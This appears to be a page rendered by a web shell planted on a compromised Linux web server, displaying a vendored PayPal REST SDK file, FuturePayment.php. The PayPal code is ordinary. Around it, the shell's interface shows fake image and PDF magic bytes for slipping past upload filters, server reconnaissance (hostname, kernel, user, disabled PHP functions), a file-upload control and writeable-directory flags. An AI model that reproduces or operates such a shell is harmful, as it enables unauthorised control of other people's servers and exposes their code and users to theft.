%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/paypal/rest-api-sdk-php/lib/PayPal/Api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/paypal/rest-api-sdk-php/lib/PayPal/Api/FuturePayment.php
<?php

namespace PayPal\Api;

use PayPal\Rest\ApiContext;
use PayPal\Transport\PayPalRestCall;

/**
 * Class FuturePayment
 *
 * @package PayPal\Api
 */
class FuturePayment extends Payment
{

    /**
     * Extends the Payment object to create future payments
     *
     * @param null $apiContext
     * @param string|null  $clientMetadataId
     * @param PayPalRestCall|null $restCall is the Rest Call Service that is used to make rest calls
     * @return $this
     */
    public function create($apiContext = null, $clientMetadataId = null, $restCall = null)
    {
        $headers = array();
        if ($clientMetadataId != null) {
            $headers = array(
                'PAYPAL-CLIENT-METADATA-ID' => $clientMetadataId
            );
        }
        $payLoad = $this->toJSON();
        $json = self::executeCall(
            "/v1/payments/payment",
            "POST",
            $payLoad,
            $headers,
            $apiContext,
            $restCall
        );
        $this->fromJson($json);
        return $this;
    }

    /**
     * Get a Refresh Token from Authorization Code
     *
     * @param $authorizationCode
     * @param ApiContext $apiContext
     * @return string|null refresh token
     */
    public static function getRefreshToken($authorizationCode, $apiContext = null)
    {
        $apiContext = $apiContext ? $apiContext : new ApiContext(self::$credential);
        $credential = $apiContext->getCredential();
        return $credential->getRefreshToken($apiContext->getConfig(), $authorizationCode);
    }

}

VaKeR 2022